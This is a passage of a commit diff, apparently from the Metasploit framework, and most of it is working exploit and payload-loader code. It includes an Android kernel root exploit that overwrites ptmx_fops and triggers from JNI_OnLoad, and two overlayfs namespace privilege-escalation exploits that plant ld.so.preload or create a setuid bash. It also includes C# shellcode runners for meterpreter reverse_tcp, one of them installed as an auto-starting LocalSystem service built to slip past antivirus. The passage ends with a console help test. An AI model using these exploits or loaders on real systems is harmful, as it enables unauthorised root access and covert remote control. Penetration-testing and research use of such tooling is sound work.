for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {
if (read_value_at_address(addr, &val) != 0) {
LOGV("kerneldump failed: %s.\n", strerror(errno));
return NULL;
}
*memaddr = val;
}
return allocaddr;
}
int check_pattern(unsigned long *addr, unsigned long firstval, unsigned long *pattern, int patternnum) {
unsigned long val;
unsigned long cnt;
unsigned long i;
if (firstval == pattern[0]) {
cnt = 1;
for (i = 1; i < patternnum; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == pattern[i]) {
cnt++;
} else {
break;
}
}
if (cnt == patternnum) {
return 0;
}
}
return -1;
}
int check_kallsyms_header(unsigned long *addr) {
unsigned long val;
read_value_at_address((unsigned long)addr, &val);
if (check_pattern(addr, val, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
return 0;
} else if (check_pattern(addr, val, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
return 0;
} else if (check_pattern(addr, val, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
return 0;
} else if (check_pattern(addr, val, pattern_kallsyms_addresses4, sizeof(pattern_kallsyms_addresses4) / 4) == 0) {
return 0;
}
return -1;
}
int get_kallsyms_addresses() {
unsigned long *endaddr;
unsigned long i, j;
unsigned long *addr;
unsigned long n;
unsigned long val;
unsigned long off;
if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {
LOGV("this device is not supported.\n");
return -1;
}
LOGV("search kallsyms...\n");
endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);
for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {
for (j = 0; j < 2; j++) {
/* get kallsyms_addresses pointer */
if (j == 0) {
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);
} else {
if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {
continue;
}
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);
}
if (check_kallsyms_header(kallsyms_addresses) != 0) {
continue;
}
addr = kallsyms_addresses;
off = 0;
/* search end of kallsyms_addresses */
n = 0;
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val < KERNEL_START_ADDRESS) {
break;
}
n++;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val != 0) {
break;
}
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
read_value_at_address((unsigned long)addr, &val);
kallsyms_num_syms = val;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
/* check kallsyms_num_syms */
if (kallsyms_num_syms != n) {
continue;
}
LOGV("kallsyms_addresses=%08lx\n", (unsigned long)kallsyms_addresses);
LOGV("kallsyms_num_syms=%08lx\n", kallsyms_num_syms);
kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);
if (kallsymsmem == NULL) {
return -1;
}
kallsyms_addresses = kallsymsmem;
endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);
addr = &kallsymsmem[off];
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_names = (unsigned char *)addr;
/* search end of kallsyms_names */
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
int len = kallsyms_names[off];
off += len + 1;
if (&kallsyms_names[off] >= (unsigned char *)endaddr) {
return -1;
}
}
/* adjust */
addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x00000000 */
addr--;
kallsyms_markers = addr;
/* end of kallsyms_markers */
addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_token_table = (unsigned char *)addr;
i = 0;
while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (kallsyms_token_table[i] == 0x00) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x0000 */
kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];
return 0;
}
}
return -1;
}
unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {
int len;
int skipped_first;
unsigned char *tptr;
unsigned char *data;
/* Get the compressed symbol length from the first symbol byte. */
data = &kallsyms_names[off];
len = *data;
off += len + 1;
data++;
skipped_first = 0;
while (len > 0) {
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
data++;
len--;
while (*tptr > 0) {
if (skipped_first != 0) {
*namebuf = *tptr;
namebuf++;
} else {
skipped_first = 1;
}
tptr++;
}
}
*namebuf = '\0';
return off;
}
int search_functions() {
char namebuf[1024];
unsigned long i;
unsigned long off;
int cnt;
cnt = 0;
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
off = kallsyms_expand_symbol(off, namebuf);
if (strcmp(namebuf, "prepare_kernel_cred") == 0) {
prepare_kernel_cred_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "commit_creds") == 0) {
commit_creds_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_open") == 0) {
ptmx_open_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_init_dev") == 0) {
tty_init_dev_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_release") == 0) {
tty_release_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_fasync") == 0) {
tty_fasync_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_fops") == 0) {
ptmx_fops_address = kallsyms_addresses[i];
}
}
if (cnt < 6) {
return -1;
}
return 0;
}
void analyze_ptmx_open() {
unsigned long i, j, k;
unsigned long addr;
unsigned long val;
unsigned long regnum;
unsigned long data_addr;
LOGV("analyze ptmx_open...\n");
for (i = 0; i < 0x200; i += 4) {
addr = ptmx_open_address + i;
read_value_at_address(addr, &val);
if ((val & 0xff000000) == 0xeb000000) {
if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {
for (j = 1; j <= i; j++) {
addr = ptmx_open_address + i - j;
read_value_at_address(addr, &val);
if ((val & 0xfff0f000) == 0xe5900000) {
regnum = (val & 0x000f0000) >> 16;
for (k = 1; k <= (i - j); k++) {
addr = ptmx_open_address + i - j - k;
read_value_at_address(addr, &val);
if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {
data_addr = addr + (val & 0x00000fff) + 8;
read_value_at_address(data_addr, &val);
ptm_driver_address = val;
return;
}
}
}
}
}
}
}
return;
}
unsigned long search_ptmx_fops_address() {
unsigned long *addr;
unsigned long range;
unsigned long *ptmx_fops_open;
unsigned long i;
unsigned long val, val2, val5;
LOGV("search ptmx_fops...\n");
if (ptm_driver_address != 0) {
addr = (unsigned long *)ptm_driver_address;
} else {
addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);
}
addr++;
ptmx_fops_open = NULL;
range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);
for (i = 0; i < range - 14; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == ptmx_open_address) {
read_value_at_address((unsigned long)(&addr[i + 2]), &val2);
if (val2 == tty_release_address) {
read_value_at_address((unsigned long)(&addr[i + 5]), &val5);
if (val5 == tty_fasync_address) {
ptmx_fops_open = &addr[i];
break;
}
}
}
}
if (ptmx_fops_open == NULL) {
return 0;
}
return ((unsigned long)ptmx_fops_open - 0x2c);
}
int get_addresses() {
prepare_kernel_cred_address = 0;
commit_creds_address = 0;
ptmx_fops_address = 0;
ptmx_open_address = 0;
tty_init_dev_address = 0;
tty_release_address = 0;
tty_fasync_address = 0;
ptm_driver_address = 0;
if (get_kallsyms_addresses() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
LOGV("kallsyms_addresses search failed.\n");
return -1;
}
if (search_functions() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
LOGV("search_functions failed.\n");
return -1;
}
if (ptmx_fops_address == 0) {
analyze_ptmx_open();
ptmx_fops_address = search_ptmx_fops_address();
if (ptmx_fops_address == 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
LOGV("search_ptmx_fops_address failed.\n");
return -1;
}
}
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
LOGV("\n");
LOGV("prepare_kernel_cred=%08lx\n", prepare_kernel_cred_address);
LOGV("commit_creds=%08lx\n", commit_creds_address);
LOGV("ptmx_fops=%08lx\n", ptmx_fops_address);
LOGV("ptmx_open=%08lx\n", ptmx_open_address);
LOGV("tty_init_dev=%08lx\n", tty_init_dev_address);
LOGV("tty_release=%08lx\n", tty_release_address);
LOGV("tty_fasync=%08lx\n", tty_fasync_address);
LOGV("ptm_driver=%08lx\n", ptm_driver_address);
LOGV("\n");
return 0;
}
void obtain_root_privilege(void) {
commit_creds(prepare_kernel_cred(0));
}
static bool run_obtain_root_privilege(void *user_data) {
int fd;
fd = open(PTMX_DEVICE, O_WRONLY);
fsync(fd);
close(fd);
return true;
}
/*
void ptrace_write_value_at_address(unsigned long int address, void *value) {
pid_t pid;
long ret;
int status;
bChiled = false;
pid = fork();
if (pid < 0) {
return;
}
if (pid == 0) {
ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (ret < 0) {
LOGV("PTRACE_TRACEME failed\n");
}
bChiled = true;
signal(SIGSTOP, SIG_IGN);
kill(getpid(), SIGSTOP);
return;
}
do {
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
} while (!bChiled);
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
if (ret < 0) {
LOGV("PTRACE_PEEKDATA failed: %s\n", strerror(errno));
}
kill(pid, SIGKILL);
waitpid(pid, &status, WNOHANG);
}
*/
int pipe_write_value_at_address(unsigned long address, void* value)
{
char data[4];
int pipefd[2];
int i;
*(long *)&data = (long)value;
if (pipe(pipefd) == -1) {
perror("pipe");
return 1;
}
for (i = 0; i < (int) sizeof(data) ; i++) {
char buf[256];
buf[0] = 0;
if (data[i]) {
if (write(pipefd[1], buf, data[i]) != data[i]) {
LOGV("error in write().\n");
break;
}
}
if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
perror("ioctl");
break;
}
if (data[i]) {
if (read(pipefd[0], buf, sizeof buf) != data[i]) {
LOGV("error in read().\n");
break;
}
}
}
close(pipefd[0]);
close(pipefd[1]);
return (i == sizeof (data));
}
bool overwrite_ptmx_fsync_address(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
bool success;
/*ptrace_write_value_at_address(address, value);*/
pipe_write_value_at_address(address, value);
success = exploit_callback(user_data);
return success;
}
static bool run_exploit(void) {
unsigned long int ptmx_fops_fsync_address;
prepare_kernel_cred = (void *)prepare_kernel_cred_address;
commit_creds = (void *)commit_creds_address;
ptmx_fops_fsync_address = ptmx_fops_address + 0x38;
return overwrite_ptmx_fsync_address(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);
}
void init_exploit() {
if (get_addresses() != 0) {
LOGV("Failed to get addresses.\n");
return;
}
run_exploit();
int uid = getuid();
if (uid != 0) {
LOGV("Failed to get root.\n");
return;
}
if (shellcode_buf[0] == 0x90) {
LOGV("No shellcode, uid=%d\n", uid);
system("/system/bin/sh -i");
return;
}
LOGV("running shellcode, uid=%d\n", uid);
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
return;
}
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
void (*shellcode)() = (void(*)())ptr;
shellcode();
LOGV("exiting.\n");
}
int main(int argc, char **argv) {
init_exploit();
exit(EXIT_SUCCESS);
}
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
{
JNIEnv *env;
LOGV("onload, uid=%d\n", getuid());
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
{
return -1;
}
int pid = fork();
if (pid == 0) {
init_exploit();
}
return JNI_VERSION_1_4;
}
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
{
}
+113
View File
@@ -0,0 +1,113 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
/*
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}*/
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
+16
View File
@@ -0,0 +1,16 @@
#include <unistd.h>
uid_t(*_real_getuid) (void);
char path[128];
uid_t getuid(void){
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
readlink("/proc/self/exe", (char *) &path, 128);
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execle("/bin/sh", "sh", "-i", NULL, NULL);
}
return _real_getuid();
}
+78
View File
@@ -0,0 +1,78 @@
#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
system("rm -rf /tmp/haxhax");
mkdir("/tmp/haxhax", 0777);
mkdir("/tmp/haxhax/w", 0777);
mkdir("/tmp/haxhax/u",0777);
mkdir("/tmp/haxhax/o",0777);
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
fprintf(stderr,"mount failed..\n");
}
chmod("/tmp/haxhax/w/work",0777);
chdir("/tmp/haxhax/o");
chmod("bash",04755);
chdir("/");
umount("/tmp/haxhax/o");
return 0;
}
int
main(int argc, char **argv)
{
int status;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
struct stat s;
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
stat("/tmp/haxhax/u/bash",&s);
if(s.st_mode == 0x89ed)
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
fprintf(stderr,"couldn't create suid :(\n");
return -1;
}
+86
View File
@@ -0,0 +1,86 @@
using System;
using System.Runtime.InteropServices;
namespace Wrapper
{
class Program
{
[Flags]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
public enum FreeType : uint
{
MEM_DECOMMIT = 0x4000,
MEM_RELEASE = 0x8000
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
static void Main()
{
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] sc = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
sc[i] = Convert.ToByte(shellcode[i]);
}
// Allocate RWX memory for the shellcode
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
try
{
// Copy shellcode to RWX buffer
Marshal.Copy(sc, 0, baseAddr, sc.Length);
// Get pointer to function created in memory
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
del();
}
finally
{
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
}
}
}
+221
View File
@@ -0,0 +1,221 @@
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
using System.Timers;
using Timer = System.Timers.Timer;
namespace Wrapper
{
class Program : ServiceBase
{
#region Fields
private static Timer _timer;
#endregion
#region PInvoke Setup
[Flags]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
public enum FreeType : uint
{
MEM_DECOMMIT = 0x4000,
MEM_RELEASE = 0x8000
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
#endregion
#region Constructors
public Program()
{
ServiceName = "MsfDynSvc";
_timer = new Timer
{
Interval = 20000 // 20 seconds
};
_timer.Elapsed += RunShellCode;
_timer.AutoReset = true;
}
#endregion
#region ServiceBase Methods
protected override void OnStart(string[] args)
{
base.OnStart(args);
_timer.Start();
}
protected override void OnStop()
{
base.OnStop();
_timer.Stop();
}
#endregion
static void Main()
{
Run(new Program());
}
private void RunShellCode(object sender, ElapsedEventArgs e)
{
_timer.Stop();
// only run shellcode if you can connect to localhost:445, due to endpoint protections
if (ConnectToLocalhost(445))
{
try
{
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] sc = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
sc[i] = Convert.ToByte(shellcode[i]);
}
// Allocate RWX memory for the shellcode
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
try
{
// Copy shellcode to RWX buffer
Marshal.Copy(sc, 0, baseAddr, sc.Length);
// Get pointer to function created in memory
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
// Run this in a separate thread, so that we can wait for it to die before continuing the timer
Thread thread = new Thread(() => del());
thread.Start();
thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
}
catch
{
// If the shellcode crashes, try to catch the crash here
}
finally
{
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
}
catch
{
// Eat it
}
}
_timer.Start();
}
private static bool ConnectToLocalhost(int port)
{
IPAddress localhost = IPAddress.Parse("127.0.0.1");
TcpClient tcpClient = new TcpClient();
bool isSuccess = false;
try
{
tcpClient.Connect(localhost, port);
isSuccess = true;
}
catch
{
// I know this is bad code-fu, but just eat the error
}
finally
{
if (tcpClient.Connected)
{
tcpClient.Close();
}
}
return isSuccess;
}
}
[RunInstaller(true)]
public class DotNetAVBypassServiceInstaller : Installer
{
public DotNetAVBypassServiceInstaller()
{
var processInstaller = new ServiceProcessInstaller();
var serviceInstaller = new ServiceInstaller();
//set the privileges
processInstaller.Account = ServiceAccount.LocalSystem;
serviceInstaller.DisplayName = "MsfDynSvc";
serviceInstaller.StartType = ServiceStartMode.Automatic;
//must be the same as what was set in Program's constructor
serviceInstaller.ServiceName = "MsfDynSvc";
Installers.Add(processInstaller);
Installers.Add(serviceInstaller);
}
public override void Install(System.Collections.IDictionary stateSaver)
{
base.Install(stateSaver);
ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name!
controller.Start();
}
}
}
+36
View File
@@ -0,0 +1,36 @@
using System;
using System.Reflection;
namespace Shellcode
{
class MainClass
{
public delegate uint Ret1ArgDelegate(uint arg1);
static uint PlaceHolder1(uint arg1) { return 0; }
unsafe static void Main(string[] args)
{
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] asmBytes = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
asmBytes[i] = Convert.ToByte(shellcode[i]);
}
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xdecafbad;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
}
}
+42 -20
View File
@@ -1,7 +1,7 @@
Feature: Help command
Background:
Given I run `msfconsole --defer-module-loads -x help -x exit`
Given I run `msfconsole --defer-module-loads -q -x help -x exit`
Scenario: The 'help' command's output
Then the output should contain:
@@ -12,51 +12,73 @@ Feature: Help command
Command Description
------- -----------
? Help menu
advanced Displays advanced options for one or more modules
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
edit Edit the current module with $VISUAL or $EDITOR
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
info Displays information about one or more modules
history Show command history
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sess Interact with a given session
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module with $VISUAL or $EDITOR
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
+180
View File
@@ -0,0 +1,180 @@
require 'openssl'
module Metasploit
module Framework
module Aws
module Client
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15"
include Msf::Exploit::Remote::HttpClient
# because Post modules require these to be defined when including HttpClient
def register_autofilter_ports(ports=[]); end
def register_autofilter_hosts(ports=[]); end
